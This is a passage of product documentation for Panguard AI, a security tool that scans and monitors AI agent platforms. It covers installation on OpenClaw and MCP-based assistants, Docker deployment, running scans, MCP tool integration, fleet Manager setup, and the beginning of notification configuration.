| Field             | Type      | Default  | Description                                                                    |
| ----------------- | --------- | -------- | ------------------------------------------------------------------------------ |
| `enabled`         | boolean   | `true`   | Enable notifications                                                           |
| `channels`        | string\[] | `[]`     | Active channels: `telegram`, `slack`, `email`, `webhook`                       |
| `minSeverity`     | string    | `medium` | Minimum severity to trigger notifications: `low`, `medium`, `high`, `critical` |
| `cooldownMinutes` | number    | `15`     | Minimum minutes between duplicate notifications                                |

### auth

Manager API connection settings.

| Field               | Type   | Default                  | Description                                 |
| ------------------- | ------ | ------------------------ | ------------------------------------------- |
| `managerEndpoint`   | string | `https://localhost:8443` | Manager API URL                             |
| `heartbeatInterval` | number | `60`                     | Heartbeat interval in seconds               |
| `token`             | string | `null`                   | Manager API token (auto-configured via CLI) |

<Tip>
  Most users do not need to edit this file directly. Use `panguard config set` from the CLI to
  modify individual settings safely. The CLI validates values and handles encryption of sensitive
  fields.
</Tip>


# Getting Started
Source: https://docs.panguard.ai/getting-started

Install Panguard AI and start protecting your AI agents in under 5 minutes.

<Info>
  This page has been consolidated into our **Quick Start** guide for a streamlined experience.
</Info>

<Card title="Quick Start Guide" icon="rocket" href="/quickstart">
  Install the CLI, scan your system, and start real-time protection in under 5 minutes. 100% open
  source, no account required.
</Card>

<Card title="Installation Details" icon="download" href="/installation">
  Platform-specific installation instructions for macOS, Linux, and Windows.
</Card>

<CardGroup>
  <Card title="Skill Auditor" icon="shield-check" href="/products/scan/overview">
    Scan MCP skills for prompt injection, tool poisoning, and hidden threats before installation.
  </Card>

  <Card title="Guard" icon="eye" href="/products/guard/overview">
    Real-time AI endpoint monitoring with auto-response.
  </Card>
</CardGroup>


# Install on OpenClaw & Compatible Platforms
Source: https://docs.panguard.ai/guides/claw-setup

One-command setup guide for OpenClaw, QClaw, WorkBuddy, NemoClaw, and ArkClaw. No account required.

Install Panguard on your Claw-based AI agent or compatible MCP platform in under 60 seconds. No account, no login, no configuration.

## Quick Start (All Platforms)

The fastest way -- install and configure everything in one line:

```bash theme={null}
curl -fsSL https://get.panguard.ai | bash && panguard setup
```

Or if you already have Panguard installed:

```bash theme={null}
panguard setup
```

This auto-detects OpenClaw, QClaw, WorkBuddy, NemoClaw, ArkClaw, and all other AI platforms on your machine, then injects the correct configuration for each.

***

## OpenClaw

OpenClaw uses a **native Skill system** (not MCP). Panguard installs as a skill at `~/.openclaw/skills/panguard/`.

### Auto Setup

```bash theme={null}
npx panguard setup --platform openclaw
```

### Manual Setup

```bash theme={null}
mkdir -p ~/.openclaw/skills/panguard
npx panguard setup --platform openclaw
```

After setup, restart OpenClaw. You can then use Panguard commands directly in OpenClaw:

```
> Audit the skills in this project
> Scan my machine for vulnerabilities
> Start real-time protection
> Show security status
```

### Verify

```bash theme={null}
ls ~/.openclaw/skills/panguard/SKILL.md
```

If the file exists, Panguard is installed.

***

## QClaw (Tencent)

QClaw uses the standard **MCP protocol**. Panguard adds an MCP server entry to `~/.qclaw/mcp.json`.

### Auto Setup

```bash theme={null}
npx panguard setup --platform qclaw
```

### Manual Setup

If you prefer to configure manually, add this to `~/.qclaw/mcp.json`:

```json theme={null}
{
  "mcpServers": {
    "panguard": {
      "command": "npx",
      "args": ["-y", "@panguard-ai/panguard-mcp"]
    }
  }
}
```

After setup, restart QClaw. Panguard's 12 MCP tools are now available:

| Tool                     | What It Does                    |
| ------------------------ | ------------------------------- |
| `panguard_audit_skill`   | Audit a skill before installing |
| `panguard_scan`          | Run a security scan             |
| `panguard_status`        | Show Guard status               |
| `panguard_guard_start`   | Start 24/7 protection           |
| `panguard_threat_search` | Search threat intelligence      |

### Verify

```bash theme={null}
cat ~/.qclaw/mcp.json
```

You should see the `panguard` entry under `mcpServers`.

***

## WorkBuddy

WorkBuddy uses the standard **MCP protocol**. Panguard adds an MCP server entry to `~/.workbuddy/.mcp.json`.

### Auto Setup

```bash theme={null}
npx panguard setup --platform workbuddy
```

### Manual Setup

If you prefer to configure manually, add this to `~/.workbuddy/.mcp.json`:

```json theme={null}
{
  "mcpServers": {
    "panguard": {
      "command": "npx",
      "args": ["-y", "@panguard-ai/panguard-mcp"]
    }
  }
}
```

After setup, restart WorkBuddy. Panguard's 12 MCP tools are now available.

### Verify

```bash theme={null}
cat ~/.workbuddy/.mcp.json
```

You should see the `panguard` entry under `mcpServers`.

***

## NemoClaw

NemoClaw uses the standard **MCP protocol**. Panguard adds an MCP server entry to `~/.nemoclaw/mcp.json`.

### Auto Setup

```bash theme={null}
npx panguard setup --platform nemoclaw
```

### Manual Setup

If you prefer to configure manually, add this to `~/.nemoclaw/mcp.json`:

```json theme={null}
{
  "mcpServers": {
    "panguard": {
      "command": "npx",
      "args": ["-y", "@panguard-ai/panguard-mcp"]
    }
  }
}
```

After setup, restart NemoClaw. Panguard's 12 MCP tools are now available.

### Verify

```bash theme={null}
cat ~/.nemoclaw/mcp.json
```

You should see the `panguard` entry under `mcpServers`.

***

## ArkClaw

ArkClaw uses the standard **MCP protocol**. Panguard adds an MCP server entry to `~/.arkclaw/mcp.json`.

### Auto Setup

```bash theme={null}
npx panguard setup --platform arkclaw
```

### Manual Setup

If you prefer to configure manually, add this to `~/.arkclaw/mcp.json`:

```json theme={null}
{
  "mcpServers": {
    "panguard": {
      "command": "npx",
      "args": ["-y", "@panguard-ai/panguard-mcp"]
    }
  }
}
```

After setup, restart ArkClaw. Panguard's 12 MCP tools are now available.

### Verify

```bash theme={null}
cat ~/.arkclaw/mcp.json
```

You should see the `panguard` entry under `mcpServers`.

***

## Troubleshooting

<AccordionGroup>
  <Accordion title="Platform not detected">
    If `panguard setup` says "not found" for OpenClaw or QClaw:

    1. Make sure the app is installed and has been opened at least once
    2. Check the config directory exists: `ls ~/.openclaw` or `ls ~/.qclaw`
    3. Use `--platform` flag to force: `npx panguard setup --platform openclaw`
  </Accordion>

  <Accordion title="MCP tools not showing in QClaw">
    1. Restart QClaw completely (quit and reopen) 2. Verify config: `cat ~/.qclaw/mcp.json` 3. Make
       sure `npx` is on your PATH: `which npx`
  </Accordion>

  <Accordion title="OpenClaw skill not working">
    1. Restart OpenClaw 2. Verify: `ls ~/.openclaw/skills/panguard/SKILL.md` 3. Check that `panguard`
       CLI is available: `npx panguard --version`
  </Accordion>

  <Accordion title="Remove Panguard">
    ```bash theme={null}
    npx panguard setup --remove --platform openclaw
    npx panguard setup --remove --platform qclaw
    ```
  </Accordion>
</AccordionGroup>

***

## Summary

|                      | OpenClaw                               | QClaw                | WorkBuddy                | NemoClaw               | ArkClaw               |
| -------------------- | -------------------------------------- | -------------------- | ------------------------ | ---------------------- | --------------------- |
| **Protocol**         | Native Skill                           | MCP                  | MCP                      | MCP                    | MCP                   |
| **Config path**      | `~/.openclaw/skills/panguard/SKILL.md` | `~/.qclaw/mcp.json`  | `~/.workbuddy/.mcp.json` | `~/.nemoclaw/mcp.json` | `~/.arkclaw/mcp.json` |
| **Setup command**    | `npx panguard setup`                   | `npx panguard setup` | `npx panguard setup`     | `npx panguard setup`   | `npx panguard setup`  |
| **Account required** | No                                     | No                   | No                       | No                     | No                    |
| **Restart needed**   | Yes                                    | Yes                  | Yes                      | Yes                    | Yes                   |


# Docker Deployment
Source: https://docs.panguard.ai/guides/docker-deployment

Run Panguard AI with Docker and Docker Compose for containerized security monitoring.

# Docker Deployment

Panguard provides Docker images and Compose configurations for containerized deployments. This guide covers single-container setup, full-stack Compose deployments, and production hardening.

***

## Prerequisites

| Requirement    | Version |
| -------------- | ------- |
| Docker         | >= 24.0 |
| Docker Compose | >= 2.20 |

***

## Quick Start with Docker

<Steps>
  <Step title="Pull the Image">
    ```bash theme={null}
    docker pull panguard/panguard-ai:latest
    ```
  </Step>

  <Step title="Run the Container">
    ```bash theme={null}
    docker run -d \
      --name panguard \
      -p 3000:3000 \
      -v panguard-data:/data \
      panguard/panguard-ai:latest
    ```
  </Step>

  <Step title="Verify">
    ```bash theme={null}
    docker logs panguard
    ```
  </Step>
</Steps>

***

## Docker Compose: Basic Setup (API + Ollama)

This configuration runs the Panguard API server with a local Ollama instance for Layer 2 AI analysis at zero cost.

```yaml theme={null}
# docker-compose.yml
services:
  panguard:
    build:
      context: .
      dockerfile: Dockerfile
    container_name: panguard
    restart: unless-stopped
    ports:
      - '3000:3000'
    volumes:
      - panguard-data:/data
      - ./config:/app/config:ro
    environment:
      - PANGUARD_DATA_DIR=/data
      - PANGUARD_PORT=3000
      - OLLAMA_ENDPOINT=http://ollama:11434
    depends_on:
      ollama:
        condition: service_healthy

  ollama:
    image: ollama/ollama:latest
    container_name: panguard-ollama
    restart: unless-stopped
    ports:
      - '11434:11434'
    volumes:
      - ollama-models:/root/.ollama
    healthcheck:
      test: ['CMD', 'curl', '-f', 'http://localhost:11434/api/tags']
      interval: 30s
      timeout: 5s
      retries: 3
      start_period: 30s

volumes:
  panguard-data:
  ollama-models:
```

```bash theme={null}
# Build and start
docker compose up -d

# Pull an Ollama model (first time only)
docker exec panguard-ollama ollama pull llama3

# View logs
docker compose logs -f panguard
```

***

## Docker Compose: Full Stack (Guard + Ollama + Threat Cloud)

This configuration runs the complete Panguard platform with Guard protection and local AI.

```yaml theme={null}
# docker-compose.full.yml
services:
  panguard:
    build:
      context: .
      dockerfile: Dockerfile
    container_name: panguard
    restart: unless-stopped
    ports:
      - '3000:3000'
    volumes:
      - panguard-data:/data
      - ./config:/app/config:ro
    environment:
      - PANGUARD_DATA_DIR=/data
      - PANGUARD_PORT=3000
      - OLLAMA_ENDPOINT=http://ollama:11434
    depends_on:
      ollama:
        condition: service_healthy
    networks:
      - panguard-net

  ollama:
    image: ollama/ollama:latest
    container_name: panguard-ollama
    restart: unless-stopped
    ports:
      - '11434:11434'
    volumes:
      - ollama-models:/root/.ollama
    networks:
      - panguard-net
    healthcheck:
      test: ['CMD', 'curl', '-f', 'http://localhost:11434/api/tags']
      interval: 30s
      timeout: 5s
      retries: 3
      start_period: 30s

volumes:
  panguard-data:
  ollama-models:

networks:
  panguard-net:
    driver: bridge
```

```bash theme={null}
docker compose -f docker-compose.full.yml up -d
```

***

## Port Reference

| Port    | Service               | Protocol | Notes                    |
| ------- | --------------------- | -------- | ------------------------ |
| `3000`  | API Server            | HTTP     | Main entry point         |
| `11434` | Ollama                | HTTP     | Local AI inference       |
| `2222`  | Trap: SSH Honeypot    | TCP      | Default SSH trap port    |
| `8080`  | Trap: HTTP Honeypot   | TCP      | Default HTTP trap port   |
| `2121`  | Trap: FTP Honeypot    | TCP      | Default FTP trap port    |
| `4450`  | Trap: SMB Honeypot    | TCP      | Default SMB trap port    |
| `3307`  | Trap: MySQL Honeypot  | TCP      | Default MySQL trap port  |
| `3390`  | Trap: RDP Honeypot    | TCP      | Default RDP trap port    |
| `2323`  | Trap: Telnet Honeypot | TCP      | Default Telnet trap port |

***

## Environment Variables

### Guard Agent

| Variable            | Default                  | Description                               |
| ------------------- | ------------------------ | ----------------------------------------- |
| `PANGUARD_DATA_DIR` | `./data`                 | Data directory for baselines, logs, rules |
| `PANGUARD_MODE`     | `learning`               | Guard mode: `learning` or `protection`    |
| `OLLAMA_ENDPOINT`   | `http://localhost:11434` | Ollama API endpoint                       |
| `ANTHROPIC_API_KEY` | (none)                   | Claude API key for cloud AI               |
| `OPENAI_API_KEY`    | (none)                   | OpenAI API key for cloud AI               |
| `ABUSEIPDB_KEY`     | (none)                   | AbuseIPDB API key for threat intel        |

### API Server

| Variable        | Default | Description     |
| --------------- | ------- | --------------- |
| `PANGUARD_PORT` | `3000`  | API server port |

<Warning>
  Never pass secrets via the `environment` key in production Compose files. Use `env_file` with restricted permissions instead:

  ```yaml theme={null}
  env_file:
    - /etc/panguard/guard.env  # chmod 600
  ```
</Warning>

***

## Production Hardening

### Docker Image Security

The production Docker image includes:

* **Multi-stage build** -- Build dependencies are not in the final image
* **Non-root user** -- Runs as `panguard` (UID 1001)
* **tini** -- Proper PID 1 signal handling and zombie reaping
* **Minimal packages** -- Only `tini` and `curl` in the final image

### Required Capabilities

For Guard response actions to function inside Docker, grant these capabilities:

```yaml theme={null}
cap_add:
  - NET_ADMIN    # Block IPs via iptables
  - KILL         # Terminate malicious processes
  - SYS_PTRACE   # Memory scanning
```

### Checklist

* [ ] Set `NODE_ENV=production` (enables HSTS, disables wildcard CORS)
* [ ] Generate strong secrets (`openssl rand -hex 32`)
* [ ] Use TLS termination (nginx/Caddy reverse proxy in front)
* [ ] Restrict network access to Manager port
* [ ] Mount secrets as env files, not inline environment variables
* [ ] Use named volumes for persistent data
* [ ] Configure log rotation for container logs

***

## Log Locations (Inside Container)

| Component        | Path                          | Format          |
| ---------------- | ----------------------------- | --------------- |
| Guard events     | `/data/events.jsonl`          | JSONL           |
| Guard actions    | `/data/action-manifest.jsonl` | JSONL           |
| Guard baseline   | `/data/baseline.json`         | JSON            |
| Application logs | stdout/stderr                 | Structured JSON |

### Log Rotation

The ReportAgent handles log rotation automatically:

| Setting           | Default |
| ----------------- | ------- |
| Max file size     | 50 MB   |
| Max rotated files | 10      |
| Retention         | 90 days |

***

## Backup Strategy

<Tip>
  Back up these critical files regularly:

  * **Baseline data** (`/data/baseline.json`) -- Loss requires re-running learning mode
  * **Threat Cloud database** -- Back up the SQLite database on schedule
  * **Configuration** -- Store config and env files in version control or a secrets manager
</Tip>

***

## Related

<CardGroup>
  <Card title="System Service" icon="gear" href="/guides/system-service">
    Install Guard as a native systemd/launchd service instead of Docker.
  </Card>

  <Card title="Multi-Endpoint Setup" icon="server" href="/guides/multi-endpoint">
    Connect Guard agents to a centralized Manager.
  </Card>

  <Card title="Threat Cloud" icon="cloud" href="/guides/threat-cloud-deployment">
    Deploy Threat Cloud alongside your Guard fleet.
  </Card>

  <Card title="Architecture" icon="sitemap" href="/concepts/architecture">
    Full technical architecture of the platform.
  </Card>
</CardGroup>


# Your First Scan
Source: https://docs.panguard.ai/guides/first-scan

Step-by-step guide to running your first Panguard security scan, understanding the results, and taking action on findings.

# Your First Scan

Panguard Scan analyzes your system in approximately 60 seconds, identifies security weaknesses, and provides actionable remediation guidance. All scan modes are free and open source.

***

## Prerequisites

Before running your first scan, ensure Panguard is installed:

```bash theme={null}
# Install via npm
npm install -g panguard

# Or via the one-line installer
curl -fsSL https://get.panguard.ai | bash

# Verify installation
panguard --version
```

***

## Run Your First Scan

<Steps>
  <Step title="Run a Quick Scan">
    Start with a quick scan to get an immediate overview:

    ```bash theme={null}
    panguard scan --quick
    ```

    This completes in approximately 30 seconds and covers OS detection, network interfaces, open ports, running services, password policy, firewall status, and security tool detection.
  </Step>

  <Step title="Review the Results">
    The scan displays findings grouped by severity:

    ```
      -- Network Interfaces -------------------

      en0    192.168.1.100  (Wi-Fi)
      lo0    127.0.0.1      (Loopback)

      -- Open Ports ----------------------------

      Port   Proto  Service     PID    Risk
      22     tcp    sshd        1234   HIGH
      80     tcp    nginx       5678   LOW
      443    tcp    nginx       5678   LOW
      3306   tcp    mysqld      9012   MEDIUM
    ```
  </Step>

  <Step title="Check Your Security Score">
    Every scan produces a 0-100 security score with a letter grade:

    ```
      -- Risk Score ----------------------------

      Score: 72/100 [------------------] Grade: C
      Trend: improving (+5 since last scan)

      Breakdown:
        Firewall:    80/100
        Open Ports:  60/100
        Passwords:   50/100
        Updates:     90/100
        Tools:       70/100
        Threats:     85/100
        Compliance:  65/100
        Response:    70/100
    ```
  </Step>

  <Step title="Address Critical Findings">
    Focus on CRITICAL and HIGH severity findings first. Each finding includes a description and remediation guidance.
  </Step>
</Steps>

***

## Quick Scan vs. Full Scan

| Feature                        | Quick Mode (`--quick`) | Full Mode (default) |
| ------------------------------ | ---------------------- | ------------------- |
| **Duration**                   | \~30 seconds           | \~60 seconds        |
| **OS detection**               | Yes                    | Yes                 |
| **Network interfaces**         | Yes                    | Yes                 |
| **Open ports**                 | Yes                    | Yes                 |
| **Running services**           | Yes                    | Yes                 |
| **Password policy**            | Yes                    | Yes                 |
| **Firewall status**            | Yes                    | Yes                 |
| **Security tools**             | Yes                    | Yes                 |
| **SSL certificate validation** | No                     | Yes                 |
| **Scheduled task audit**       | No                     | Yes                 |
| **Shared folder security**     | No                     | Yes                 |
| **Risk score**                 | Yes                    | Yes                 |

To run a full scan:

```bash theme={null}
panguard scan
```

***

## Severity Levels

| Severity     | Meaning                                | Recommended Action  |
| ------------ | -------------------------------------- | ------------------- |
| **CRITICAL** | Immediate risk of compromise           | Fix immediately     |
| **HIGH**     | Significant security risk              | Fix within 24 hours |
| **MEDIUM**   | Moderate risk, improvement recommended | Fix within one week |
| **LOW**      | Low risk, best practice suggestion     | Fix when convenient |
| **INFO**     | Informational finding                  | No action required  |

***

## Generate a PDF Report

Export your scan results as a professional PDF report:

```bash theme={null}
# English report
panguard scan --output my-report.pdf

# Traditional Chinese report
panguard scan --output my-report.pdf --lang zh-TW
```

The PDF includes:

1. **Cover page** -- Organization name, scan date, branding
2. **Executive summary** -- Risk score, grade, finding statistics
3. **Findings detail** -- Each finding with severity, description, and location
4. **Remediation guidance** -- Specific fix steps for each finding
5. **Compliance mapping** -- Findings mapped to ISO 27001 / SOC 2 / Taiwan Cyber Security Act

***

## What Comes After Your First Scan

<CardGroup>
  <Card title="Enable Real-Time Protection" icon="shield" href="/guides/real-time-protection">
    Start Guard to continuously monitor and protect your system.
  </Card>

  <Card title="Set Up Notifications" icon="bell" href="/guides/notifications-setup">
    Configure Telegram, Slack, or email alerts for security events.
  </Card>

  <Card title="Generate Compliance Reports" icon="file-check" href="/guides/compliance-reports">
    Use scan findings to generate ISO 27001, SOC 2, or TCSA reports.
  </Card>

  <Card title="Deploy Honeypots" icon="flask" href="/guides/honeypots">
    Set up decoy services to detect and profile attackers.
  </Card>
</CardGroup>

***

## CLI Reference

```
panguard scan [options]

Options:
  --quick              Quick mode (~30 seconds)
  --output <path>      PDF report output path
  --lang <en|zh-TW>    Language (default: en)
  --verbose            Verbose output
```


# Integrate with AI Assistants via MCP
Source: https://docs.panguard.ai/guides/mcp-integration

Connect Panguard to Claude Desktop, Cursor, or Windsurf using the Model Context Protocol for AI-assisted security operations.

Panguard includes a built-in MCP (Model Context Protocol) server that exposes security tools to AI assistants. This lets you run scans, check Guard status, query threats, and deploy honeypots using natural language through your AI coding assistant.

<Steps>
  <Step title="Understand MCP">
    The Model Context Protocol (MCP) is an open standard for connecting AI assistants to external tools. Panguard's MCP server exposes security operations as tools that AI assistants can call on your behalf.

    Supported AI assistants:

    | Assistant          | Config Location                                                           |
    | ------------------ | ------------------------------------------------------------------------- |
    | **Claude Desktop** | `~/Library/Application Support/Claude/claude_desktop_config.json` (macOS) |
    | **Claude Code**    | `~/.claude/settings.local.json`                                           |
    | **Cursor**         | `~/.cursor/mcp.json`                                                      |
    | **QClaw**          | `~/.qclaw/mcp.json`                                                       |
    | **OpenClaw**       | `~/.openclaw/skills/panguard/SKILL.md` (native skill)                     |
    | **Codex**          | `~/.codex/mcp.json`                                                       |
    | **WorkBuddy**      | `~/.workbuddy/.mcp.json`                                                  |
    | **NemoClaw**       | `~/.nemoclaw/mcp.json`                                                    |
    | **ArkClaw**        | `~/.arkclaw/mcp.json`                                                     |

    <Info>
      Run `panguard setup` to auto-detect and configure all platforms. No login required.
    </Info>
  </Step>

  <Step title="Add the MCP configuration">
    Add the Panguard MCP server to your AI assistant's configuration file:

    <Tabs>
      <Tab title="Claude Desktop">
        Edit `~/Library/Application Support/Claude/claude_desktop_config.json` (macOS) or `%APPDATA%\Claude\claude_desktop_config.json` (Windows):

        ```json theme={null}
        {
          "mcpServers": {
            "panguard": {
              "command": "panguard",
              "args": ["mcp", "serve"],
              "env": {}
            }
          }
        }
        ```
      </Tab>

      <Tab title="Cursor">
        Create or edit `.cursor/mcp.json` in your project root:

        ```json theme={null}
        {
          "mcpServers": {
            "panguard": {
              "command": "panguard",
              "args": ["mcp", "serve"],
              "env": {}
            }
          }
        }
        ```
      </Tab>

      <Tab title="Windsurf">
        Edit `~/.windsurf/mcp.json`:

        ```json theme={null}
        {
          "mcpServers": {
            "panguard": {
              "command": "panguard",
              "args": ["mcp", "serve"],
              "env": {}
            }
          }
        }
        ```
      </Tab>
    </Tabs>

    After saving, restart your AI assistant for the changes to take effect.
  </Step>

  <Step title="Available MCP tools">
    The Panguard MCP server exposes these tools to your AI assistant:

    | Tool                    | Description                                   |
    | ----------------------- | --------------------------------------------- |
    | `scan_system`           | Run a security scan and return findings       |
    | `guard_status`          | Check Guard engine status and recent events   |
    | `guard_start`           | Start the Guard engine                        |
    | `guard_stop`            | Stop the Guard engine                         |
    | `get_threats`           | Query threat intelligence and IoCs            |
    | `deploy_honeypot`       | Deploy a honeypot on a specified service/port |
    | `get_attacker_profiles` | Retrieve attacker profiles from Trap          |
    | `generate_report`       | Generate a compliance report                  |
    | `get_security_score`    | Get current risk score and grade              |
    | `list_events`           | List recent Guard events with filtering       |
  </Step>

  <Step title="Use natural language for security ops">
    Once configured, you can interact with Panguard through your AI assistant using natural language:

    <AccordionGroup>
      <Accordion title="Run a security scan">
        **You:** "Scan my system for security issues"

        The assistant calls `scan_system` and presents the findings, risk score, and recommendations in a readable format.
      </Accordion>

      <Accordion title="Check protection status">
        **You:** "Is Guard running? Show me recent alerts."

        The assistant calls `guard_status` followed by `list_events` to give you a comprehensive status overview.
      </Accordion>

      <Accordion title="Investigate a threat">
        **You:** "What do we know about IP 203.0.113.42?"

        The assistant calls `get_threats` and `get_attacker_profiles` to compile a threat dossier.
      </Accordion>

      <Accordion title="Generate a compliance report">
        **You:** "Generate an ISO 27001 compliance report"

        The assistant calls `generate_report` with the ISO 27001 framework and presents the results.
      </Accordion>

      <Accordion title="Deploy honeypots">
        **You:** "Set up SSH and HTTP honeypots to catch attackers"

        The assistant calls `deploy_honeypot` for each service type and confirms deployment.
      </Accordion>
    </AccordionGroup>
  </Step>

  <Step title="Verify the connection">
    Test that your AI assistant can reach the Panguard MCP server:

    ```bash theme={null}
    panguard mcp test
    ```

    ```
      PANGUARD AI - MCP Server

      -- Connection Test ------------------------

      Server:     Running (stdio transport)
      Tools:      10 registered
      Auth:       Authenticated (user@example.com)

      MCP server is ready for AI assistant connections.
    ```
  </Step>
</Steps>

## What to do next

<CardGroup>
  <Card title="MCP product reference" icon="book" href="/products/mcp/overview">
    Full documentation of the MCP server architecture and capabilities.
  </Card>

  <Card title="MCP tools reference" icon="wrench" href="/products/mcp/tools-reference">
    Detailed schema for each MCP tool including parameters and return types.
  </Card>

  <Card title="Run your first scan" icon="magnifying-glass" href="/guides/first-scan">
    Understand scan output before using AI-assisted scanning.
  </Card>

  <Card title="Real-time protection" icon="shield-halved" href="/guides/real-time-protection">
    Set up Guard so the AI assistant can monitor and respond to threats.
  </Card>
</CardGroup>


# Multi-Endpoint Setup
Source: https://docs.panguard.ai/guides/multi-endpoint

Deploy the Panguard Manager for fleet-wide security orchestration across multiple machines.

# Multi-Endpoint Setup

In a distributed deployment, multiple Guard agents on different machines report to a centralized Manager server. The Manager provides fleet-wide visibility, cross-agent threat correlation, and centralized policy distribution.

***

## Architecture

```
[Machine A: Manager]                [Machine B: Guard Agent]
+-------------------+               +---------------------+
| Manager Server    |<-- heartbeat --| GuardEngine         |
| :8443             |<-- events   --| (learning/protection)|
|                   |-- policy   -->|                     |
+-------------------+               +---------------------+
        ^
        |                            [Machine C: Guard Agent]
        |                            +---------------------+
        +<-- heartbeat/events -------| GuardEngine         |
        +--- policy ---------------->|                     |
                                     +---------------------+
```

***

## Deploy the Manager

<Steps>
  <Step title="Generate an Authentication Token">
    Create a secure token for Manager-Agent communication:

    ```bash theme={null}
    export MANAGER_TOKEN=$(openssl rand -hex 32)
    echo $MANAGER_TOKEN
    ```

    <Warning>
      Store this token securely. Every Guard agent needs it to register with the Manager.
    </Warning>
  </Step>

  <Step title="Start the Manager Server">
    ```bash theme={null}
    panguard manager --port 8443 --auth-token "$MANAGER_TOKEN"
    ```

    The Manager accepts connections from Guard agents and provides:

    * **Agent Registry** -- Tracks up to 500 registered agents
    * **Threat Aggregator** -- Correlates threats across agents by source IP, malware hash, and attack pattern
    * **Policy Engine** -- Distributes centralized rules and configuration
    * **SSE Stream** -- Real-time event stream for the admin dashboard
  </Step>

  <Step title="Verify the Manager is Running">
    ```bash theme={null}
    curl -H "Authorization: Bearer $MANAGER_TOKEN" \
      http://localhost:8443/api/overview
    ```
  </Step>
</Steps>

***

## Deploy Guard Agents

On each endpoint machine:

<Steps>
  <Step title="Install Panguard">
    ```bash theme={null}
    npm install -g panguard
    ```
  </Step>

  <Step title="Start Guard with Manager Connection">
    ```bash theme={null}
    panguard guard start \
      --manager-url "http://manager-host:8443" \
      --manager-token "your-secure-token" \
      --data-dir /var/panguard-guard
    ```

    The agent will:

    1. Register with the Manager on startup
    2. Send heartbeats every 30 seconds
    3. Report detected threats in real-time
    4. Poll for policy updates every 5 minutes
  </Step>
</Steps>

***

## Agent Lifecycle

| Phase               | Endpoint                         | Interval           | Description                                                  |
| ------------------- | -------------------------------- | ------------------ | ------------------------------------------------------------ |
| **Registration**    | `POST /api/agents/register`      | Once (startup)     | Agent sends hostname, OS, version; receives unique `agentId` |
| **Heartbeat**       | `POST /api/agents/:id/heartbeat` | Every 30s          | CPU/memory usage, events processed, mode, uptime             |
| **Threat Report**   | `POST /api/agents/:id/events`    | Real-time          | Detected threats sent immediately                            |
| **Policy Poll**     | `GET /api/policy/agent/:id`      | Every 5 min        | Agent checks for updated policies                            |
| **Stale Detection** | --                               | Every 30s (server) | Agents without heartbeat for 90s are flagged stale           |
| **Deregistration**  | `DELETE /api/agents/:id`         | Manual             | Removes agent from fleet                                     |

***

## Cross-Agent Threat Correlation

The Manager's Threat Aggregator correlates threats across all agents in real-time:

* **Source IP correlation** -- Same attacker IP seen on multiple endpoints triggers escalation
* **Malware hash correlation** -- Same malware fingerprint across agents indicates an active campaign
* **Attack pattern correlation** -- Related MITRE ATT\&CK patterns within a 5-minute window

<Info>
  Cross-agent correlation uses a 5-minute sliding window with 24-hour data retention. Threats
  correlated across 3+ agents are automatically elevated to CRITICAL severity.
</Info>

***

## Policy Distribution

The Policy Engine allows centralized control over all Guard agents:

```bash theme={null}
# Set a global policy
curl -X POST -H "Authorization: Bearer $MANAGER_TOKEN" \
  -H "Content-Type: application/json" \
  http://manager-host:8443/api/policy \
  -d '{
    "autoRespondThreshold": 85,
    "ipBlocklist": ["203.0.113.0/24"],
    "alertChannels": ["slack"]
  }'
```

Policy changes propagate to all agents within their next 5-minute poll cycle.

***

## Real-Time Monitoring

### SSE Event Stream

Stream events from all agents in real-time:

```bash theme={null}
curl -N -H "Authorization: Bearer $MANAGER_TOKEN" \
  http://manager-host:8443/api/events/stream
```

### Fleet Overview

```bash theme={null}
curl -H "Authorization: Bearer $MANAGER_TOKEN" \
  http://manager-host:8443/api/overview
```

***

## Manager Configuration

### Environment Variables

| Variable                        | Default    | Description                                   |
| ------------------------------- | ---------- | --------------------------------------------- |
| `MANAGER_PORT`                  | `8443`     | HTTP server port                              |
| `MANAGER_AUTH_TOKEN`            | (none)     | Bearer token for API authentication           |
| `MANAGER_MAX_AGENTS`            | `500`      | Maximum registered agents                     |
| `MANAGER_HEARTBEAT_TIMEOUT_MS`  | `90000`    | Heartbeat timeout before marking agent stale  |
| `MANAGER_HEARTBEAT_INTERVAL_MS` | `30000`    | Interval for stale agent checks               |
| `MANAGER_CORRELATION_WINDOW_MS` | `300000`   | Cross-agent threat correlation window (5 min) |
| `MANAGER_THREAT_RETENTION_MS`   | `86400000` | Threat data retention (24 hours)              |
| `CORS_ALLOWED_ORIGINS`          | (none)     | Comma-separated allowed CORS origins          |

### Optional SQLite Persistence

For large deployments, enable SQLite for persistent storage:

```bash theme={null}
panguard manager --port 8443 --auth-token "$MANAGER_TOKEN" --db /var/panguard-manager/data.db
```

***

## Production Deployment

<Tip>
  For production, install the Manager as a systemd service and place it behind a TLS-terminating
  reverse proxy. See the [System Service guide](/guides/system-service) and [Docker Deployment
  guide](/guides/docker-deployment).
</Tip>

### Security Checklist

* [ ] Generate a strong authentication token (`openssl rand -hex 32`)
* [ ] Use TLS termination (nginx/Caddy reverse proxy)
* [ ] Restrict Manager port (8443) to Guard agent networks only
* [ ] Run as a non-root system user
* [ ] Set `NODE_ENV=production` for hardened mode
* [ ] Store secrets in environment files with `chmod 600`

***

## Related

<CardGroup>
  <Card title="Architecture" icon="sitemap" href="/concepts/architecture">
    Full technical architecture of the Manager-Agent system.
  </Card>

  <Card title="System Service" icon="gear" href="/guides/system-service">
    Install Manager and Guard as systemd/launchd services.
  </Card>

  <Card title="Docker Deployment" icon="docker" href="/guides/docker-deployment">
    Run the full stack with Docker Compose.
  </Card>

  <Card title="Threat Cloud" icon="cloud" href="/guides/threat-cloud-deployment">
    Centralized threat intelligence across your fleet.
  </Card>
</CardGroup>


# Configure Notifications
Source: https://docs.panguard.ai/guides/notifications-setup

Set up alert channels so Panguard can notify you of threats via Telegram, Slack, Email, LINE, or Webhook.

Panguard Chat delivers security alerts to the channels your team already uses. This guide covers setting up each of the 5 supported notification channels and configuring user roles to control who receives what.

<Steps>
  <Step title="Initialize Chat configuration">
    Run the interactive setup wizard:

    ```bash theme={null}
    panguard chat setup
    ```

    The wizard walks you through channel selection and credential entry. You can also configure channels individually using the flags shown below.
  </Step>

  <Step title="Configure your channels">
    Set up one or more notification channels:

    <Tabs>
      <Tab title="Telegram">
        1. Message [@BotFather](https://t.me/BotFather) on Telegram and create a new bot
        2. Copy the bot token
        3. Start a chat with your bot and send any message
        4. Get your chat ID from the Telegram API or use [@userinfobot](https://t.me/userinfobot)

        ```bash theme={null}
        panguard chat setup --channel telegram \
          --telegram-token "123456:ABC-DEF..." \
          --telegram-chat-id "-1001234567890"
        ```

        <Tip>
